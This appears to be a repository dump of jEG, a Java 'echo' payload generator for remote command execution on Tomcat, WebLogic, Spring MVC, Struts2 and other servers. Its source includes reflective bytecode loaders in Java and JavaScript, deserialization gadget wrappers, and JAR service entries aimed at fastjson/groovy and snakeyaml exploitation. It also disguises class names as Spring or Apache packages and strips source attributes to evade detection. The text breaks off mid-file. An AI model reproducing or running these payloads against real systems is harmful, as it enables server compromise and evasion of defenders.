[ { "path": "LICENSE", "content": "MIT License\n\nCopyright (c) 2025 pen4uin\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n" }, { "path": "README.md", "content": "

English | 中文

\n

\n

Java Echo Generator

\n
\n \"GitHub\n \"GitHub\n \"GitLab\n
\n
一款支持高度自定义的 Java 回显载荷生成工具
\n

\n\n
\n\n> [!WARNING]\n> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受，请勿使用此工具。\n\n
\n\n## 功能\n\n| 中间件 | 框架 | 执行模式 | 输出格式 | \n|-----------------|-----------|---------|------------|\n| Tomcat | SpringMVC | Command | BASE64 | \n| Resin | Struts2 | Code | BCEL | \n| WebLogic | | | BIGINTEGER | \n| Jetty | | | CLASS | \n| WebSphere | | | JAR | \n| Undertow | | | JS |\n| GlassFish | | | | \n| BES(宝兰德) | | | | \n| InforSuite(中创) | | | | \n| TongWeb(东方通) | | | | \n\n\n\n\n## 编译\n\n```shell\nmvn package assembly:single\n```\n\n## 使用\n\n**图形化**\n\n1. 下载 jEG-GUI-1.0.0.jar 运行即可\n\n![image-20230928161217950](./jeg-docs/img/gui.png)\n\n**Woodpecker 插件**\n\n1. 下载 jEG-Woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可\n\n![image-20230928153330494](./jeg-docs/img/woodpecker-plugin.png)\n\n**第三方库**\n\n1. 下载 jEG-Core-1.0.0.jar 并安装到本地 maven 仓库\n\n```\nmvn install:install-file -Dfile=jEG-Core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar\n```\n\n2. 引入自己的框架/工具的依赖中\n\n```\n\n jeg\n jeg-core\n 1.0.0\n\n```\n\n3. 调用 API 生成需要的回显载荷即可\n\n```\n// 基本配置\njEGConfig config = new jEGConfig() {{\n // 设置待回显的中间件为 tomcat\n setServerType(Constants.SERVER_TOMCAT);\n // 设置待执行的 payload 为命令执行回显\n setModelType(Constants.MODEL_CMD);\n // 设置 payload 的输出格式为 BASE64\n setFormatType(Constants.FORMAT_BASE64);\n // 初始化基础配置\n build();\n}};\n// 生成 payload\njEGenerator generator = new jEGenerator(config);\nSystem.out.println(\"请求头: \" + config.getReqHeaderName());\nSystem.out.println(generator.getPayload());\n```\n\n## 文档\n\n- [jEG v1.0.0 - 高度自定义的 Java 回显生成工具](./jeg-docs/1.0.0/)\n\n## 致谢\n\n- https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/\n- https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327\n- https://github.com/feihong-cs/Java-Rce-Echo\n\n## 协议\n\n- MIT" }, { "path": "jeg-common/pom.xml", "content": "\n 4.0.0\n \n jeg\n java-echo-generator\n ${reversion}\n \n jEG-common\n \n ${artifactId}-${reversion}\n \n\n \n \n me.gv7.woodpecker\n woodpecker-bcel\n 0.1.0\n \n \n\n" }, { "path": "jeg-common/src/main/java/jeg/common/config/Config.java", "content": "package jeg.common.config;\n\npublic class Config {\n private String serverType;\n private String formatType;\n private String gadgetType;\n private String loaderClassName;\n private String classNameInFormatter;\n private byte[] classBytesInFormatter;\n private String classBase64InFormatter;\n\n public String getOutputDir() {\n return outputDir;\n }\n\n public void setOutputDir(String outputDir) {\n this.outputDir = outputDir;\n }\n\n private String outputDir;\n public String getLoaderClassName() {\n return loaderClassName;\n }\n\n public void setLoaderClassName(String loaderClassName) {\n this.loaderClassName = loaderClassName;\n }\n\n public String getClassNameInFormatter() {\n return classNameInFormatter;\n }\n\n public void setClassNameInFormatter(String classNameInFormatter) {\n this.classNameInFormatter = classNameInFormatter;\n }\n\n public byte[] getClassBytesInFormatter() {\n return classBytesInFormatter;\n }\n\n public void setClassBytesInFormatter(byte[] classBytesInFormatter) {\n this.classBytesInFormatter = classBytesInFormatter;\n }\n\n public String getClassBase64InFormatter() {\n return classBase64InFormatter;\n }\n\n public void setClassBase64InFormatter(String classBase64InFormatter) {\n this.classBase64InFormatter = classBase64InFormatter;\n }\n\n\n\n public String getServerType() {\n return serverType;\n }\n\n public void setServerType(String serverType) {\n this.serverType = serverType;\n }\n\n public String getFormatType() {\n return formatType;\n }\n\n public void setFormatType(String formatType) {\n this.formatType = formatType;\n }\n\n public String getGadgetType() {\n return gadgetType;\n }\n\n public void setGadgetType(String gadgetType) {\n this.gadgetType = gadgetType;\n }\n\n public boolean isImplementsASTTransformationType() {\n return implementsASTTransformationType;\n }\n\n public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {\n this.implementsASTTransformationType = implementsASTTransformationType;\n }\n\n public boolean isImplementsScriptEngineFactory() {\n return implementsScriptEngineFactory;\n }\n\n public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {\n this.implementsScriptEngineFactory = implementsScriptEngineFactory;\n }\n\n private boolean implementsASTTransformationType = false;\n private boolean implementsScriptEngineFactory = false;\n\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/config/Constants.java", "content": "package jeg.common.config;\n\npublic interface Constants {\n\n String FORMAT_CLASS = \"CLASS\";\n String FORMAT_BCEL = \"BCEL\";\n String FORMAT_JSP = \"JSP\";\n String FORMAT_JAR = \"JAR\";\n String FORMAT_JS = \"JS\";\n String FORMAT_BASE64 = \"BASE64\";\n String FORMAT_BIGINTEGER = \"BIGINTEGER\";\n\n String GADGET_NONE = \"NONE\";\n String GADGET_JDK_TRANSLET = \"JDK_AbstractTranslet\";\n String GADGET_XALAN_TRANSLET = \"XALAN_AbstractTranslet\";\n\n String SERVER_TOMCAT = \"Tomcat\";\n String SERVER_JETTY = \"Jetty\";\n String SERVER_RESIN = \"Resin\";\n String SERVER_SPRING_MVC = \"SpringMVC\";\n String SERVER_STRUTS2 = \"Struts2\";\n String SERVER_UNDERTOW = \"Undertow\";\n String SERVER_WEBLOGIC = \"WebLogic\";\n String SERVER_WEBSPHERE = \"WebSphere\";\n String SERVER_BES = \"BES\";\n String SERVER_INFORSUITE = \"InforSuite\";\n String SERVER_TONGWEB = \"TongWeb\";\n String SERVER_UNKNOWN = \"Unknown\";\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/format/BASE64Formatter.java", "content": "package jeg.common.format;\n\nimport jeg.common.config.Config;\nimport jeg.common.util.Base64Util;\n\npublic class BASE64Formatter implements IFormatter {\n @Override\n public byte[] transform(byte[] bytes, Config config) throws Exception {\n return Base64Util.encodeToBase64(bytes).replace(\"\\n\", \"\").replace(\"\\r\", \"\").getBytes();\n }\n}" }, { "path": "jeg-common/src/main/java/jeg/common/format/BCELFormatter.java", "content": "package jeg.common.format;\n\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport javassist.CtMethod;\nimport jeg.common.config.Config;\nimport jeg.common.util.Base64Util;\nimport jeg.common.util.ClassUtil;\nimport jeg.common.util.JavassistUtil;\nimport me.gv7.woodpecker.bcel.HackBCELs;\n\nimport java.io.IOException;\nimport java.lang.reflect.Method;\n\npublic class BCELFormatter implements IFormatter {\n public byte[] transform(byte[] bytes, Config config) throws IOException {\n ClassPool pool = ClassPool.getDefault();\n ClassClassPath classPath = new ClassClassPath(BCELoader.class);\n pool.insertClassPath(classPath);\n CtClass ctClass;\n byte[] bcelLoaderBytes = new byte[0];\n try {\n ctClass = pool.getCtClass(BCELoader.class.getName());\n CtMethod getBase64String = ctClass.getDeclaredMethod(\"getBase64String\");\n getBase64String.setBody(String.format(\"{return \\\"%s\\\";}\", Base64Util.encodeToBase64(config.getClassBytesInFormatter())));\n CtMethod getClassName = ctClass.getDeclaredMethod(\"getClassName\");\n getClassName.setBody(String.format(\"{return \\\"%s\\\";}\", config.getClassNameInFormatter()));\n ctClass.setName(ClassUtil.getRandomClassName());\n ctClass.getClassFile().setVersionToJava5();\n JavassistUtil.removeSourceFileAttribute(ctClass);\n bcelLoaderBytes = ctClass.toBytecode();\n ctClass.detach();\n } catch (Exception e) {\n e.printStackTrace();\n }\n return HackBCELs.encode(bcelLoaderBytes).getBytes();\n }\n}\n\nclass BCELoader extends ClassLoader {\n\n public String getClassName() {\n return \"\";\n }\n\n\n public String getBase64String() throws IOException {\n return \"\";\n }\n\n public BCELoader() throws Exception {\n ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n ;\n try {\n classLoader.loadClass(getClassName()).newInstance();\n } catch (Exception var1) {\n try {\n byte[] classBytes = base64Decode(getBase64String());\n Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClassMethod.setAccessible(true);\n Class clazz = (Class) defineClassMethod.invoke(classLoader, classBytes, 0, classBytes.length);\n clazz.newInstance();\n } catch (Exception var2) {\n }\n }\n }\n\n public static byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) ((byte[]) ((byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str)));\n } catch (Exception var5) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str)));\n }\n }\n}\n\n" }, { "path": "jeg-common/src/main/java/jeg/common/format/BigIntegerFormatter.java", "content": "package jeg.common.format;\n\nimport jeg.common.config.Config;\n\nimport java.io.IOException;\nimport java.math.BigInteger;\n\npublic class BigIntegerFormatter implements IFormatter {\n @Override\n public byte[] transform(byte[] bytes, Config config) throws IOException {\n return new BigInteger(bytes).toString(36).getBytes();\n }\n}" }, { "path": "jeg-common/src/main/java/jeg/common/format/IFormatter.java", "content": "package jeg.common.format;\n\nimport jeg.common.config.Config;\n\npublic interface IFormatter {\n public byte[] transform(byte[] bytes, Config config) throws Exception;\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/format/JARFormatter.java", "content": "package jeg.common.format;\n\nimport jeg.common.config.Config;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\nimport java.util.jar.JarEntry;\nimport java.util.jar.JarOutputStream;\nimport java.util.jar.Manifest;\n\npublic class JARFormatter implements IFormatter {\n public byte[] transform(byte[] bytes, Config config) throws IOException {\n String className = config.getClassNameInFormatter();\n String jarEntryFileName = className.replace(\".\", \"/\") + \".class\";\n\n Manifest manifest = new Manifest();\n manifest.getMainAttributes().putValue(\"Manifest-Version\", \"1.0\");\n\n ByteArrayOutputStream out = new ByteArrayOutputStream();\n try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {\n jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));\n jarOutputStream.write(bytes);\n jarOutputStream.closeEntry();\n\n // fastjson + groovy 的利用\n if (config.isImplementsASTTransformationType()) {\n String entryName = \"META-INF/services/org.codehaus.groovy.transform.ASTTransformation\";\n JarEntry entry = new JarEntry(entryName);\n jarOutputStream.putNextEntry(entry);\n jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));\n jarOutputStream.closeEntry();\n }\n\n // snakeyaml + loadJar 的利用\n if (config.isImplementsScriptEngineFactory()) {\n String entryName = \"META-INF/services/javax.script.ScriptEngineFactory\";\n JarEntry entry = new JarEntry(entryName);\n jarOutputStream.putNextEntry(entry);\n jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));\n jarOutputStream.closeEntry();\n }\n }\n\n return out.toByteArray();\n }\n}" }, { "path": "jeg-common/src/main/java/jeg/common/format/JavaScriptFormatter.java", "content": "package jeg.common.format;\n\nimport jeg.common.config.Config;\nimport jeg.common.util.Base64Util;\n\npublic class JavaScriptFormatter implements IFormatter {\n public byte[] transform(byte[] bytes, Config config) throws Exception {\n String strJS = \"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\\n\" +\n \"try{\\n\" +\n \" classLoader.loadClass(\\\"\"+ config.getClassNameInFormatter() +\"\\\").newInstance();\\n\" +\n \"}catch (e){\\n\" +\n \" var clsString = classLoader.loadClass('java.lang.String');\\n\" +\n \" var bytecodeBase64 = \\\"\"+ Base64Util.encodeToBase64(bytes).replace(\"\\n\", \"\").replace(\"\\r\", \"\") + \"\\\";\\n\" +\n \" var bytecode;\\n\" +\n \" try{\\n\" +\n \" var clsBase64 = classLoader.loadClass(\\\"java.util.Base64\\\");\\n\" +\n \" var clsDecoder = classLoader.loadClass(\\\"java.util.Base64$Decoder\\\");\\n\" +\n \" var decoder = clsBase64.getMethod(\\\"getDecoder\\\").invoke(base64Clz);\\n\" +\n \" bytecode = clsDecoder.getMethod(\\\"decode\\\", clsString).invoke(decoder, bytecodeBase64);\\n\" +\n \" } catch (ee) {\\n\" +\n \" var datatypeConverterClz = classLoader.loadClass(\\\"javax.xml.bind.DatatypeConverter\\\");\\n\" +\n \" bytecode = datatypeConverterClz.getMethod(\\\"parseBase64Binary\\\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\\n\" +\n \" }\\n\" +\n \" var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\\n\" +\n \" var clsByteArray = classLoader.loadClass('[B');\\n\" +\n \" var clsInt = java.lang.Integer.TYPE;\\n\" +\n \" var defineClass = clsClassLoader.getDeclaredMethod(\\\"defineClass\\\", clsByteArray, clsInt, clsInt);\\n\" +\n \" defineClass.setAccessible(true);\\n\" +\n \" var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\\n\" +\n \" clazz.newInstance();\\n\" +\n \"}\";\n return strJS.getBytes();\n }\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/util/Base64Util.java", "content": "package jeg.common.util;\n\npublic class Base64Util {\n\n public static String encodeToBase64(byte[] input) throws Exception {\n String value = null;\n Class base64;\n try {\n base64 = Class.forName(\"java.util.Base64\");\n Object Encoder = base64.getMethod(\"getEncoder\", (Class[]) null).invoke(base64, (Object[]) null);\n value = (String) Encoder.getClass().getMethod(\"encodeToString\", byte[].class).invoke(Encoder, input);\n } catch (Exception var6) {\n try {\n base64 = Class.forName(\"sun.misc.BASE64Encoder\");\n Object Encoder = base64.newInstance();\n value = (String) Encoder.getClass().getMethod(\"encode\", byte[].class).invoke(Encoder, input);\n } catch (Exception var5) {\n }\n }\n return value;\n }\n\n public static String decodeFromBase64(String input) throws Exception {\n byte[] var2 = null;\n\n Class var1;\n try {\n var1 = Class.forName(\"java.util.Base64\");\n Object var3 = var1.getMethod(\"getDecoder\").invoke((Object) null, (Object[]) null);\n var2 = (byte[]) ((byte[]) var3.getClass().getMethod(\"decode\", String.class).invoke(var3, input));\n } catch (Exception var6) {\n try {\n var1 = Class.forName(\"sun.misc.BASE64Decoder\");\n Object var4 = var1.newInstance();\n var2 = (byte[]) ((byte[]) var4.getClass().getMethod(\"decodeBuffer\", String.class).invoke(var4, input));\n } catch (Exception var5) {\n }\n }\n\n return new String(var2);\n }\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/util/ClassUtil.java", "content": "package jeg.common.util;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Random;\n\npublic class ClassUtil {\n static String[] classNames = {\n \"NetworkUtils\",\n \"KeyUtils\",\n \"EncryptionUtils\",\n \"SessionDataUtil\",\n \"SOAPUtils\",\n \"ReflectUtil\",\n \"HttpClientUtil\",\n \"EncryptionUtil\",\n \"XMLUtil\",\n \"JSONUtil\",\n \"FileUtils\",\n \"DateUtil\",\n \"StringUtil\",\n \"MathUtil\",\n \"HttpUtil\",\n \"CSVUtil\"\n };\n private static final String[] packageNames = {\n \"org.springframework\",\n \"org.apache.logging\",\n \"org.apache\",\n \"com.fasterxml.jackson\",\n \"org.junit\",\n \"org.apache.commons.lang\",\n \"com.google.gso\",\n \"ch.qos.logback\"\n };\n\n public static String generatePackageName(String[] packageNames) {\n Random random = new Random();\n String packageName = packageNames[random.nextInt(packageNames.length)];\n return packageName;\n }\n\n\n public static String getRandomPackageName(String[] packageNames) {\n return generatePackageName(packageNames);\n }\n\n public static String getRandomName(String[]... arrays) {\n List classNames = new ArrayList<>();\n for (String[] array : arrays) {\n for (String className : array) {\n classNames.add(className);\n }\n }\n Random random = new Random();\n int index = random.nextInt(classNames.size());\n return classNames.get(index);\n }\n\n\n public static String generateRandomString() {\n Random random = new Random();\n StringBuilder sb = new StringBuilder();\n int length = random.nextInt(5) + 2; // 生成2-6之间的随机数\n for (int i = 0; i < length; i++) {\n char c = (char) (random.nextInt(26) + 'a');\n sb.append(c);\n }\n return sb.toString();\n }\n\n public static String getRandomClassName() {\n\n return getRandomPackageName(packageNames) + \".\" + generateRandomString() + \".\" + getRandomName(classNames);\n }\n\n public static String getRandomLoaderClassName() {\n\n return getRandomPackageName(packageNames) + \".\" + generateRandomString() + \".\" + getRandomName(classNames);\n }\n\n public static String getSimpleName(String className) {\n int lastDotIndex = className.lastIndexOf(\".\");\n if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {\n return className.substring(lastDotIndex + 1);\n }\n return className;\n }\n\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/util/FileUtil.java", "content": "package jeg.common.util;\n\nimport java.io.*;\n\npublic class FileUtil {\n public static void writeFile(String filePath, byte[] bytes) throws IOException {\n OutputStream out = new FileOutputStream(filePath);\n InputStream is = new ByteArrayInputStream(bytes);\n byte[] buff = new byte[1024];\n int len;\n while((len = is.read(buff)) != -1) {\n out.write(buff, 0, len);\n }\n\n is.close();\n out.close();\n }\n\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/util/GadgetUtil.java", "content": "package jeg.common.util;\n\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport javassist.*;\nimport jeg.common.config.Constants;\nimport jeg.common.config.Config;\n\npublic class GadgetUtil {\n private Config config;\n private ClassPool pool;\n private CtClass modifiedClass;\n\n public GadgetUtil(Config config, ClassPool pool, CtClass modifiedClass) {\n this.config = config;\n this.pool = pool;\n this.modifiedClass = modifiedClass;\n }\n\n public byte[] modify() throws Exception {\n byte[] classBytes = null;\n if (pool != null && modifiedClass != null) {\n if (config.getGadgetType().contains(Constants.GADGET_JDK_TRANSLET)) {\n applyJDKAbstractTranslet();\n }\n\n if (config.getGadgetType().contains(Constants.GADGET_XALAN_TRANSLET)) {\n applyXALANAbstractTranslet();\n }\n modifiedClass.getClassFile().setVersionToJava5();\n classBytes = modifiedClass.toBytecode();\n modifiedClass.defrost();\n } else {\n throw new Exception(\"pool or modifiedClass is null\");\n }\n return classBytes;\n }\n\n\n public void applyJDKAbstractTranslet() throws NotFoundException, CannotCompileException {\n pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));\n modifiedClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));\n }\n\n\n public void applyXALANAbstractTranslet() throws NotFoundException, CannotCompileException, ClassNotFoundException {\n try {\n pool.get(\"org.apache.xalan.xsltc.runtime.AbstractTranslet\");\n } catch (NotFoundException e) {\n pool.makeClass(\"org.apache.xalan.xsltc.runtime.AbstractTranslet\");\n }\n modifiedClass.setSuperclass(pool.get(\"org.apache.xalan.xsltc.runtime.AbstractTranslet\"));\n }\n\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/util/HeaderUtil.java", "content": "package jeg.common.util;\n\nimport java.util.Random;\n\npublic class HeaderUtil {\n\n private static final Random RANDOM = new Random();\n\n\n public static String genHeaderName(String[] keys) {\n String key = genRandomKey(keys);\n return key + genRandomSuffix();\n }\n\n private static String genRandomKey(String[] keys) {\n return keys[RANDOM.nextInt(keys.length)];\n }\n\n private static String genRandomSuffix() {\n StringBuilder sb = new StringBuilder();\n int length = RANDOM.nextInt(9) + 4; // 生成4-10之间长度的随机字符串\n for (int i = 0; i < length; i++) {\n char c = (char) (RANDOM.nextInt(26) + 'a');\n if (i == 0) {\n c = Character.toUpperCase(c);\n }\n sb.append(c);\n }\n return sb.toString();\n }\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/util/JavassistUtil.java", "content": "package jeg.common.util;\n\nimport javassist.*;\nimport javassist.bytecode.AttributeInfo;\nimport javassist.bytecode.ClassFile;\nimport javassist.bytecode.SourceFileAttribute;\n\nimport java.util.List;\n\n/**\n * javassist 工具类\n */\npublic class JavassistUtil {\n\n private static ClassPool pool = ClassPool.getDefault();\n\n public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {\n ctClass.defrost();\n try {\n // 已存在，修改\n CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);\n ctMethod.setBody(methodBody);\n } catch (NotFoundException ignored) {\n // 不存在，直接添加\n CtMethod method = CtNewMethod.make(methodBody, ctClass);\n ctClass.addMethod(method);\n }\n }\n\n\n public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {\n ctClass.defrost();\n try {\n CtField field = ctClass.getDeclaredField(fieldName);\n ctClass.removeField(field);\n try {\n CtField defField = new CtField(pool.getCtClass(\"java.lang.String\"), fieldName, ctClass);\n defField.setModifiers(Modifier.PUBLIC);\n ctClass.addField(defField, \"\\\"\" + fieldValue + \"\\\"\");\n } catch (Exception e) {\n throw new RuntimeException(e);\n }\n\n } catch (NotFoundException ignored) {\n try {\n CtField defField = new CtField(pool.getCtClass(\"java.lang.String\"), fieldName, ctClass);\n defField.setModifiers(Modifier.STATIC);\n ctClass.addField(defField, \"\\\"\" + fieldValue + \"\\\"\");\n } catch (Exception e) {\n throw new RuntimeException(e);\n }\n }\n }\n\n public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {\n ctClass.defrost();\n try {\n CtField field = ctClass.getDeclaredField(fieldName);\n ctClass.removeField(field);\n try {\n CtField defField = new CtField(pool.getCtClass(\"java.lang.String\"), fieldName, ctClass);\n defField.setModifiers(Modifier.PUBLIC);\n defField.setModifiers(Modifier.STATIC);\n ctClass.addField(defField, \"\\\"\" + fieldValue + \"\\\"\");\n } catch (Exception e) {\n throw new RuntimeException(e);\n }\n\n } catch (NotFoundException ignored) {\n try {\n CtField defField = new CtField(pool.getCtClass(\"java.lang.String\"), fieldName, ctClass);\n defField.setModifiers(Modifier.STATIC);\n ctClass.addField(defField, \"\\\"\" + fieldValue + \"\\\"\");\n } catch (Exception e) {\n throw new RuntimeException(e);\n }\n }\n }\n\n\n // 删除 SourceFileAttribute (源文件名) 信息\n public static void removeSourceFileAttribute(CtClass ctClass) {\n ctClass.defrost();\n ClassFile classFile = ctClass.getClassFile2();\n\n try {\n // javassist.bytecode.ClassFile.removeAttribute Since: 3.21\n ReflectionUtil.invokeMethod(classFile, \"removeAttribute\", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});\n } catch (Exception e) {\n try {\n // 兼容 javassist v3.20 及以下\n List attributes = (List) ReflectionUtil.getFV(classFile, \"attributes\");\n removeAttribute(attributes, SourceFileAttribute.tag);\n } catch (Exception ignored) {\n }\n }\n }\n\n\n public static synchronized AttributeInfo removeAttribute(List attributes, String name) {\n if (attributes == null) return null;\n\n for (AttributeInfo ai : attributes)\n if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;\n\n return null;\n }\n\n\n public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {\n if (fieldValue != null) {\n JavassistUtil.addField(ctClass, fieldName, fieldValue);\n }\n }\n\n public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {\n if (fieldValue != null) {\n JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);\n }\n }\n\n public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {\n if (className != null) {\n ctClass.setName(className);\n }\n }\n\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/util/RandomUtil.java", "content": "package jeg.common.util;\n\nimport java.util.Random;\n\npublic class RandomUtil {\n\n // 生成随机长度的字符串\n public static String genRandomLengthString(int minLength) {\n Random random = new Random();\n StringBuilder sb = new StringBuilder();\n int length = random.nextInt(16) + minLength; // 生成2-6之间的随机数\n for (int i = 0; i < length; i++) {\n char c = (char) (random.nextInt(26) + 'a');\n if (i == 0) {\n c = Character.toUpperCase(c);\n }\n sb.append(c);\n }\n return sb.toString();\n }\n\n}\n" }, { "path": "jeg-common/src/main/java/jeg/common/util/ReflectionUtil.java", "content": "package jeg.common.util;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\npublic class ReflectionUtil {\n\n public static void setFV(Object var0, String var1, Object val) throws Exception {\n getF(var0, var1).set(var0, val);\n }\n\n public static Object getFV(Object obj, String fieldName) throws Exception {\n Field field = getF(obj, fieldName);\n field.setAccessible(true);\n return field.get(obj);\n }\n\n public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {\n Class clazz = obj.getClass();\n while (clazz != null) {\n try {\n Field field = clazz.getDeclaredField(fieldName);\n field.setAccessible(true);\n return field;\n } catch (NoSuchFieldException e) {\n clazz = clazz.getSuperclass();\n }\n }\n throw new NoSuchFieldException(fieldName);\n }\n\n public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {\n return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);\n }\n\n\n public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();\n Method method = null;\n\n Class tempClass = clazz;\n while (method == null && tempClass != null) {\n try {\n if (paramClazz == null) {\n // Get all declared methods of the class\n Method[] methods = tempClass.getDeclaredMethods();\n for (int i = 0; i < methods.length; i++) {\n if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {\n method = methods[i];\n break;\n }\n }\n } else {\n method = tempClass.getDeclaredMethod(methodName, paramClazz);\n }\n } catch (NoSuchMethodException e) {\n tempClass = tempClass.getSuperclass();\n }\n }\n if (method == null) {\n throw new NoSuchMethodException(methodName);\n }\n method.setAccessible(true);\n if (obj instanceof Class) {\n try {\n return method.invoke(null, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n } else {\n try {\n return method.invoke(obj, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n }\n }\n\n}\n" }, { "path": "jeg-core/pom.xml", "content": "\n 4.0.0\n \n jeg\n java-echo-generator\n ${reversion}\n \n jEG-core\n\n \n ${artifactId}-${reversion}\n \n\n \n \n jeg\n jEG-common\n ${reversion}\n \n \n" }, { "path": "jeg-core/src/main/java/jeg/core/config/jEGConfig.java", "content": "package jeg.core.config;\n\nimport jeg.common.config.Config;\nimport jeg.common.config.Constants;\nimport jeg.common.util.ClassUtil;\nimport jeg.common.util.HeaderUtil;\nimport jeg.common.util.RandomUtil;\n\nimport java.util.Objects;\n\npublic class jEGConfig extends Config {\n\n public jEGConfig() {\n }\n\n public void setServerType(String serverType) {\n this.serverType = serverType;\n }\n\n public void setModelType(String modelType) {\n this.modelType = modelType;\n }\n\n public void setClassName(String className) {\n this.className = className;\n }\n\n public void setFormatType(String formatType) {\n this.formatType = formatType;\n }\n\n public void setOutputDir(String outputDir) {\n this.outputDir = outputDir;\n }\n\n public void setReqHeaderName(String reqHeaderName) {\n this.reqHeaderName = reqHeaderName;\n }\n\n public void setReqParamName(String reqParamName) {\n this.reqParamName = reqParamName;\n }\n\n public void setRespHeaderName(String respHeaderName) {\n this.respHeaderName = respHeaderName;\n }\n\n public void setBase64ClassString(String base64ClassString) {\n this.base64ClassString = base64ClassString;\n }\n\n public void setClassBytes(byte[] classBytes) {\n this.classBytes = classBytes;\n }\n\n public void setClassBytesLength(int classBytesLength) {\n this.classBytesLength = classBytesLength;\n }\n\n public void setLoaderClassName(String loaderClassName) {\n this.loaderClassName = loaderClassName;\n }\n\n public void setGadgetType(String gadgetType) {\n this.gadgetType = gadgetType;\n }\n\n private String serverType;\n private String modelType;\n private String className;\n private String formatType;\n private String outputDir;\n private String desKey;\n private String reqHeaderName;\n private String reqParamName;\n private String respHeaderName;\n private String base64ClassString;\n private byte[] classBytes;\n private int classBytesLength;\n private boolean implementsASTTransformationType = false;\n private boolean implementsScriptEngineFactory = false;\n private String loaderClassName;\n private String gadgetType;\n\n public String getModelType() {\n return modelType;\n }\n\n public String getServerType() {\n return serverType;\n }\n\n public String getClassName() {\n return className;\n }\n\n public String getFormatType() {\n return formatType;\n }\n\n public String getOutputDir() {\n return outputDir;\n }\n\n public String getDesKey() {\n return desKey;\n }\n\n public String getReqHeaderName() {\n return reqHeaderName;\n }\n\n public String getReqParamName() {\n return reqParamName;\n }\n\n public String getRespHeaderName() {\n return respHeaderName;\n }\n\n public String getBase64ClassString() {\n return base64ClassString;\n }\n\n public byte[] getClassBytes() 